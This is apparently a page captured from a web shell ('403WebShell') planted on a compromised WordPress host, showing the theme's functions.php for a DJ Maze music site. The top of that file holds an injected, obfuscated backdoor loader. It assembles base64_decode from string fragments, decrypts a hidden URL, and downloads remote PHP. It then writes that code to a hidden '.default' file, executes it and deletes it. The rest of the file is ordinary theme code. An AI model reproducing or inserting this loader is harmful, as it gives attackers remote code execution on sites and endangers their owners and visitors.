Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/maze/wp-content/themes/Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/maze/wp-content/themes/Archive/functions.php
<?php
 @ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {

    $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==";
    
if (!function_exists('get_data_ya')) {
    if (ini_get('allow_url_fopen')) {
        function get_data_ya($m) {
            $data = file_get_contents($m);
            return $data;
        }
    }
    else {
        function get_data_ya($m) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $m);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }
}

if (!function_exists('wp_cd')) {
        function wp_cd($fd, $fa="") {
            $fe = "wp_frmfunct";
            $len = strlen($fd);
            $ff = '';
            $n = $len>100 ? 8 : 2;
            while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
            return $fd^$ff;
       }
}
    

    $reqw = $ay($ao($oa("$pass"), 'wp_function'));
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    $dirs = glob("*", GLOB_ONLYDIR);
    foreach ($dirs as $dira) {
      if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
      $subdirs = glob("$dira/*", GLOB_ONLYDIR);
      foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
      }
    }
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    fwrite($hdl, "<?php\n$mtchs[1]\n?>");
    fclose($hdl);
    include("{$eb}.$algo");
    unlink("{$eb}.$algo");
	$npDcheckClassBgp = 'aue';

	$zeeta = "yup";

    }
if (!defined('ABSPATH')) { exit; }

function dj_maze_3d_setup() {
    add_theme_support('title-tag');
    add_theme_support('post-thumbnails');
    add_theme_support('custom-logo');
    add_theme_support('woocommerce');
    register_nav_menus(array(
        'primary' => __('Primary Menu', 'dj-maze-3d'),
    ));
}
add_action('after_setup_theme', 'dj_maze_3d_setup');

function dj_maze_3d_assets() {
    wp_enqueue_style('dj-maze-google-fonts', 'https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=Cormorant+Garamond:wght@400;500;600;700&display=swap', array(), null);
    wp_enqueue_style('dj-maze-style', get_stylesheet_uri(), array('dj-maze-google-fonts'), '1.0.0');
    wp_enqueue_script('three-js', 'https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js', array(), '128', true);
    wp_enqueue_script('dj-maze-main', get_template_directory_uri() . '/assets/js/main.js', array('three-js'), '1.0.0', true);
}
add_action('wp_enqueue_scripts', 'dj_maze_3d_assets');

function dj_maze_3d_body_class($classes) {
    $classes[] = 'dj-maze-3d-theme';
    return $classes;
}
add_filter('body_class', 'dj_maze_3d_body_class');


function dj_maze_3d_music_links() {
    return array(
        'spotify' => 'https://open.spotify.com/artist/6V4915jZpQV7R99zTlT1Ac?si=91T0MM_PQlaa782pJIaX1Q&nd=1&dlsi=54951252703d41b9',
        'apple'   => 'https://music.apple.com/gh/artist/dj-maze/42277848',
        'youtube' => 'https://www.youtube.com/djmaze',
        'deezer'  => 'https://www.deezer.com/en/artist/153531',
    );
}

function dj_maze_3d_discography_categories() {
    return array(
        array('title' => 'Compilations', 'slug' => 'compilations'),
        array('title' => 'BREAK-BEAT PARTY ALL NIGHT', 'slug' => 'break-beat-party-all-night'),
        array('title' => 'ALBUMS', 'slug' => 'albums'),
        array('title' => 'SINGLES', 'slug' => 'singles'),
        array('title' => 'DJ MAZE REMIX', 'slug' => 'dj-maze-remix'),
        array('title' => 'B.O DE FILMS', 'slug' => 'b-o-de-films'),
        array('title' => 'BREAK-BEAT THE BATTLE MOVIE', 'slug' => 'break-beat-the-battle-movie'),
    );
}

function dj_maze_3d_get_discography_items($slug) {
    $dir = trailingslashit(get_template_directory()) . 'assets/images/discography/' . $slug;
    $uri = trailingslashit(get_template_directory_uri()) . 'assets/images/discography/' . $slug;
    if (!is_dir($dir)) { return array(); }
    $files = glob($dir . '/*.{jpg,jpeg,png,webp}', GLOB_BRACE);
    if (!$files) { return array(); }
    usort($files, function($a, $b) {
        $an = basename($a);
        $bn = basename($b);
        preg_match('/^(\d+)/', $an, $am);
        preg_match('/^(\d+)/', $bn, $bm);
        $ai = isset($am[1]) ? intval($am[1]) : 9999;
        $bi = isset($bm[1]) ? intval($bm[1]) : 9999;
        if ($ai === $bi) { return strnatcasecmp($an, $bn); }
        return $ai <=> $bi;
    });
    $items = array();
    foreach ($files as $file) {
        $name = basename($file);
        $title = preg_replace('/\.(jpg|jpeg|png|webp)$/i', '', $name);
        $title = preg_replace('/^\s*\d+[a-z]?(?:[-_\s]*\d+)*[-_\s]*/i', '', $title);
        $title = str_replace(array('-', '_'), ' ', $title);
        $title = preg_replace('/\s+/', ' ', trim($title));
        $items[] = array(
            'title' => ucwords($title),
            'url' => trailingslashit($uri) . rawurlencode($name),
            'link' => '#',
        );
    }
    return $items;
}

function dj_maze_3d_platform_icon($platform) {
    $icons = array(
        'spotify' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20Zm4.58 14.42a.74.74 0 0 1-1.02.25c-2.79-1.7-6.3-2.08-10.43-1.14a.75.75 0 0 1-.33-1.46c4.52-1.03 8.4-.58 11.53 1.33.35.22.46.68.25 1.02Zm1.22-2.73a.92.92 0 0 1-1.27.31c-3.18-1.96-8.04-2.52-11.8-1.38a.93.93 0 0 1-.54-1.78c4.3-1.3 9.65-.68 13.3 1.56.44.27.58.84.31 1.29Zm.11-2.84C14.1 8.58 7.8 8.37 4.18 9.48a1.1 1.1 0 1 1-.65-2.1c4.16-1.28 11.1-1.03 15.5 1.58a1.1 1.1 0 0 1-1.12 1.9Z"/></svg>',
        'apple' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M17.64 13.06c-.03-2.65 2.17-3.92 2.27-3.98-1.24-1.8-3.16-2.05-3.82-2.08-1.62-.17-3.17.95-4  .95-.83 0-2.12-.93-3.5-.91-1.8.03-3.47 1.05-4.4 2.66-1.88 3.25-.48 8.05 1.34 10.7.9 1.29 1.96 2.73 3.36 2.68 1.35-.05 1.85-.86 3.48-.86 1.62 0 2.08.86 3.5.83 1.45-.02 2.36-1.31 3.24-2.61 1.03-1.5 1.45-2.95 1.47-3.02-.03-.01-2.82-1.08-2.85-4.36ZM15.03 5.3c.74-.9 1.24-2.14 1.1-3.38-1.06.04-2.36.71-3.13 1.6-.68.79-1.29 2.05-1.13 3.25 1.2.09 2.42-.6 3.16-1.47Z"/></svg>',
        'youtube' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M23.5 6.2a3 3 0 0 0-2.1-2.1C19.5 3.6 12 3.6 12 3.6s-7.5 0-9.4.5A3 3 0 0 0 .5 6.2 31.4 31.4 0 0 0 0 12a31.4 31.4 0 0 0 .5 5.8 3 3 0 0 0 2.1 2.1c1.9.5 9.4.5 9.4.5s7.5 0 9.4-.5a3 3 0 0 0 2.1-2.1A31.4 31.4 0 0 0 24 12a31.4 31.4 0 0 0-.5-5.8ZM9.6 15.6V8.4L15.8 12l-6.2 3.6Z"/></svg>',
        'deezer' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M2 13h4v3H2v-3Zm0 4h4v3H2v-3Zm5-8h4v3H7V9Zm0 4h4v3H7v-3Zm0 4h4v3H7v-3Zm5-12h4v3h-4V5Zm0 4h4v3h-4V9Zm0 4h4v3h-4v-3Zm0 4h4v3h-4v-3Zm5-8h5v3h-5V9Zm0 4h5v3h-5v-3Zm0 4h5v3h-5v-3Z"/></svg>',
    );
    return isset($icons[$platform]) ? $icons[$platform] : '';
}

function dj_maze_3d_render_nav($active = '') {
    $home = home_url('/');
    $discography = home_url('/discography/');
    ?>
    <header class="maze-nav">
      <a href="<?php echo esc_url($home); ?>#home" class="maze-logo">DJ <span>MAZE</span></a>
      <nav>
        <a href="<?php echo esc_url($home); ?>#home">Accueil</a>
        <a href="<?php echo esc_url(home_url('/biography/')); ?>">Biographie</a>
        <a href="<?php echo esc_url($discography); ?>" class="<?php echo $active === 'discography' ? 'is-active' : ''; ?>">Discographie</a>
        <a href="<?php echo esc_url($home); ?>#videos">Vidéos</a>
        <a href="<?php echo esc_url(class_exists('WooCommerce') ? wc_get_page_permalink('shop') : home_url('/shop/')); ?>">Boutique</a>
        <a href="<?php echo esc_url(home_url('/photos/')); ?>">Photos</a>
      </nav>
      <div class="maze-header-actions">
        <a href="<?php echo esc_url($home); ?>#book" class="maze-pill">Book Now</a>
        <a href="<?php echo esc_url($home); ?>#book" class="maze-social-pill maze-whatsapp-pill" aria-label="Discuter avec nous sur WhatsApp">
          <img src="<?php echo esc_url(get_template_directory_uri() . '/assets/images/whatsapp.png'); ?>" alt="" aria-hidden="true" />
          <span>WhatsApp</span>
        </a>
        <a href="<?php echo esc_url(dj_maze_3d_music_links()['spotify']); ?>" class="maze-social-pill maze-spotify-pill" target="_blank" rel="noopener" aria-label="Open DJ Maze on Spotify">
          <img src="<?php echo esc_url(get_template_directory_uri() . '/assets/images/spotify-icon.png'); ?>" alt="Spotify" />
        </a>
      </div>
    </header>
    <?php
}

function dj_maze_3d_create_discography_page() {
    $page = get_page_by_path('discography');
    if (!$page) {
        $page_id = wp_insert_post(array(
            'post_title'   => 'Discographie',
            'post_name'    => 'discography',
            'post_status'  => 'publish',
            'post_type'    => 'page',
            'post_content' => '',
        ));
        if (!is_wp_error($page_id)) {
            update_post_meta($page_id, '_wp_page_template', 'page-discography.php');
        }
    } else {
        update_post_meta($page->ID, '_wp_page_template', 'page-discography.php');
    }
}
add_action('after_switch_theme', 'dj_maze_3d_create_discography_page');

/**
 * Discography page safety net.
 * Creates the WordPress page even when the theme ZIP is updated while already active,
 * and serves /discography/ directly if WordPress has not refreshed permalinks yet.
 */
function dj_maze_3d_maybe_create_discography_page() {
    if (get_option('dj_maze_3d_discography_page_ready') === 'yes' && get_page_by_path('discography')) {
        return;
    }
    dj_maze_3d_create_discography_page();
    update_option('dj_maze_3d_discography_page_ready', 'yes');
}
add_action('init', 'dj_maze_3d_maybe_create_discography_page', 20);

function dj_maze_3d_discography_direct_route() {
    if (is_admin()) { return; }

    $request_path = isset($_SERVER['REQUEST_URI']) ? wp_parse_url(wp_unslash($_SERVER['REQUEST_URI']), PHP_URL_PATH) : '';
    $request_path = trim($request_path, '/');

    // Support installs in subdirectories by checking the final path segment too.
    $segments = array_values(array_filter(explode('/', $request_path)));
    $last_segment = end($segments);

    if ($request_path === 'discography' || $last_segment === 'discography') {
        status_header(200);
        nocache_headers();
        include get_template_directory() . '/page-discography.php';
        exit;
    }
}
add_action('template_redirect', 'dj_maze_3d_discography_direct_route', 0);

function dj_maze_3d_flush_rewrites_on_switch() {
    dj_maze_3d_create_discography_page();
    flush_rewrite_rules();
}
add_action('after_switch_theme', 'dj_maze_3d_flush_rewrites_on_switch', 30);


function dj_maze_3d_social_links() {
    return array(
        'instagram' => 'https://www.instagram.com/djmaze/',
        'snapchat'  => 'https://www.snapchat.com/@djmaze1',
        'tiktok'    => 'https://www.tiktok.com/@djmazeofficiel',
        'facebook'  => 'https://www.facebook.com/DJMAZEOFFICIEL',
        'x'         => 'https://x.com/DJMAZEOFFICIEL',
        'youtube'   => 'https://www.youtube.com/djmaze',
    );
}

function dj_maze_3d_social_icon($name) {
    $icons = array(
        'instagram' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M7 2h10a5 5 0 0 1 5 5v10a5 5 0 0 1-5 5H7a5 5 0 0 1-5-5V7a5 5 0 0 1 5-5Zm0 2a3 3 0 0 0-3 3v10a3 3 0 0 0 3 3h10a3 3 0 0 0 3-3V7a3 3 0 0 0-3-3H7Zm5 3.5A4.5 4.5 0 1 1 12 16.5 4.5 4.5 0 0 1 12 7.5Zm0 2A2.5 2.5 0 1 0 12 14.5 2.5 2.5 0 0 0 12 9.5ZM17.8 6.2a1 1 0 1 1-1 1 1 1 0 0 1 1-1Z"/></svg>',
        'snapchat'  => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M12 2c3 0 5 2.3 5 5.6v2.2c.7.1 1.5.3 1.8.7.4.6-.3 1.1-1.4 1.5.3 1.1 1.1 2.2 2.6 2.8.5.2.7.8.2 1.1-.8.5-1.6.4-2.2.6-.4.2-.4.9-.9 1.1-.6.3-1.6-.1-2.4.2-.7.2-1.1 1.4-2.7 1.4s-2-1.2-2.7-1.4c-.8-.3-1.8.1-2.4-.2-.5-.2-.5-.9-.9-1.1-.6-.2-1.4-.1-2.2-.6-.5-.3-.3-.9.2-1.1 1.5-.6 2.3-1.7 2.6-2.8-1.1-.4-1.8-.9-1.4-1.5.3-.4 1.1-.6 1.8-.7V7.6C7 4.3 9 2 12 2Z"/></svg>',
        'tiktok'    => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M16 2c.4 3 2.1 4.8 5 5v4c-1.9 0-3.5-.6-5-1.6v6.3c0 4-2.7 6.3-6.1 6.3A6 6 0 0 1 4 16c0-3.5 2.8-6.2 6.4-6.2.4 0 .8 0 1.1.1v4.2a3 3 0 0 0-1.1-.2A2.1 2.1 0 1 0 12.5 16V2H16Z"/></svg>',
        'facebook'  => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M14 8h3V4h-3c-3.3 0-5 2-5 5v3H6v4h3v6h4v-6h3.2l.8-4h-4V9c0-.7.3-1 1-1Z"/></svg>',
        'x'         => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M18.9 2h3.1l-6.8 7.8 8 12.2h-6.2l-4.8-7-5.5 7H3.5l7.3-8.6L3.2 2h6.4l4.3 6.4L18.9 2Zm-1.1 17.8h1.7L8.6 4.1H6.8l11 15.7Z"/></svg>',
        'youtube'   => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M23.5 6.2a3 3 0 0 0-2.1-2.1C19.5 3.6 12 3.6 12 3.6s-7.5 0-9.4.5A3 3 0 0 0 .5 6.2 31.4 31.4 0 0 0 0 12a31.4 31.4 0 0 0 .5 5.8 3 3 0 0 0 2.1 2.1c1.9.5 9.4.5 9.4.5s7.5 0 9.4-.5a3 3 0 0 0 2.1-2.1A31.4 31.4 0 0 0 24 12a31.4 31.4 0 0 0-.5-5.8ZM9.6 15.6V8.4L15.8 12l-6.2 3.6Z"/></svg>',
    );
    return isset($icons[$name]) ? $icons[$name] : '';
}

function dj_maze_3d_get_photo_items($limit = 0) {
    $dir = trailingslashit(get_template_directory()) . 'assets/images/photos';
    $uri = trailingslashit(get_template_directory_uri()) . 'assets/images/photos';
    $files = is_dir($dir) ? glob($dir . '/*.{jpg,jpeg,png,webp}', GLOB_BRACE) : array();
    natcasesort($files);
    $items = array();
    foreach ($files as $file) { $items[] = trailingslashit($uri) . basename($file); }
    return $limit ? array_slice($items, 0, $limit) : $items;
}

function dj_maze_3d_video_items() {
    return array(
        array('title'=>'Jump Around','id'=>'w2myqbd4fu8'),
        array('title'=>'Eso Eh','id'=>'v2_bAq7QfZo'),
        array('title'=>'Let\'s Go','id'=>'u1B1b3-Vd-s'),
        array('title'=>'In Da Club','id'=>'jYi8vt7MuE4'),
        array('title'=>'ROSALÍA - LA FAMA ft. The Weeknd prod by DJ MAZE (REMIX)','id'=>'eQX8uze_Dh0'),
        array('title'=>'What You Know','id'=>'adU2xzwrtMA'),
        array('title'=>'Don\'t Stop','id'=>'cB3xgrO2GDQ'),
        array('title'=>'Maze some noise full mix non stop','id'=>'7kFjKwIwp5k'),
    );
}

function dj_maze_3d_create_named_page($slug, $title, $template) {
    $page = get_page_by_path($slug);
    if (!$page) {
        $page_id = wp_insert_post(array('post_title'=>$title, 'post_name'=>$slug, 'post_status'=>'publish', 'post_type'=>'page', 'post_content'=>''));
        if (!is_wp_error($page_id)) { update_post_meta($page_id, '_wp_page_template', $template); }
    } else { update_post_meta($page->ID, '_wp_page_template', $template); }
}
function dj_maze_3d_create_extra_pages() {
    dj_maze_3d_create_named_page('biography', 'Biographie', 'page-biography.php');
    dj_maze_3d_create_named_page('photos', 'Photos', 'page-photos.php');
}
add_action('after_switch_theme', 'dj_maze_3d_create_extra_pages', 35);
add_action('init', 'dj_maze_3d_create_extra_pages', 25);

function dj_maze_3d_product_assets() {
    $json = get_template_directory() . '/assets/products-map.json';
    if (!file_exists($json)) { return array(); }
    $data = json_decode(file_get_contents($json), true);
    return is_array($data) ? $data : array();
}

function dj_maze_3d_import_demo_products() {
    if (!class_exists('WooCommerce') || get_option('dj_maze_products_imported_v5_individual') === 'yes') { return; }
    if (!function_exists('wc_get_product_id_by_sku')) { return; }

    $products = dj_maze_3d_product_assets();
    if (!$products) { return; }

    require_once ABSPATH . 'wp-admin/includes/file.php';
    require_once ABSPATH . 'wp-admin/includes/media.php';
    require_once ABSPATH . 'wp-admin/includes/image.php';

    // Remove previous DJ Maze demo products so only the individual products remain.
    $old_products = get_posts(array(
        'post_type'      => 'product',
        'posts_per_page' => -1,
        'post_status'    => array('publish', 'draft', 'pending', 'private'),
        'meta_query'     => array(
            array(
                'key'     => '_sku',
                'value'   => 'djmaze-',
                'compare' => 'LIKE',
            ),
        ),
        'fields' => 'ids',
    ));

    foreach ($old_products as $old_id) {
        wp_trash_post($old_id);
    }

    foreach ($products as $p) {
        $sku = 'djmaze-' . sanitize_title($p['slug']);
        if (wc_get_product_id_by_sku($sku)) { continue; }

        $term_ids = array();
        if (!empty($p['category'])) {
            $term = term_exists($p['category'], 'product_cat');
            if (!$term) {
                $term = wp_insert_term($p['category'], 'product_cat', array(
                    'slug' => !empty($p['category_slug']) ? sanitize_title($p['category_slug']) : sanitize_title($p['category'])
                ));
            }
            if (!is_wp_error($term)) {
                $term_ids[] = is_array($term) ? intval($term['term_id']) : intval($term);
            }
        }

        $product = new WC_Product_Simple();
        $product->set_name('DJ Maze ' . $p['title']);
        $product->set_slug('dj-maze-' . sanitize_title($p['slug']));
        $product->set_sku($sku);
        $product->set_regular_price('10');
        $product->set_price('10');
        $product->set_status('publish');
        $product->set_catalog_visibility('visible');
        $product->set_menu_order(isset($p['order']) ? intval($p['order']) : 0);
        $product->set_category_ids($term_ids);
        $product->set_description('Produit officiel DJ Maze avec une identité visuelle premium.');
        $product->set_short_description('Collection officielle DJ Maze.');

        $ids = array();
        foreach ($p['images'] as $rel) {
            $source = get_template_directory() . '/' . $rel;
            if (!file_exists($source)) { continue; }

            $tmp = wp_tempnam(basename($source));
            copy($source, $tmp);

            $file_array = array(
                'name'     => basename($source),
                'tmp_name' => $tmp,
            );

            $id = media_handle_sideload($file_array, 0);
            if (!is_wp_error($id)) {
                $ids[] = $id;
            } else {
                @unlink($tmp);
            }
        }

        if ($ids) {
            $product->set_image_id($ids[0]);
            $product->set_gallery_image_ids(array_slice($ids, 1));
        }

        $product->save();
    }

    update_option('dj_maze_products_imported_v5_individual', 'yes');
}
add_action('init', 'dj_maze_3d_import_demo_products', 60);

add_filter('woocommerce_enqueue_styles', '__return_empty_array');

Youez - 2016 - github.com/yon3zu
LinuXploit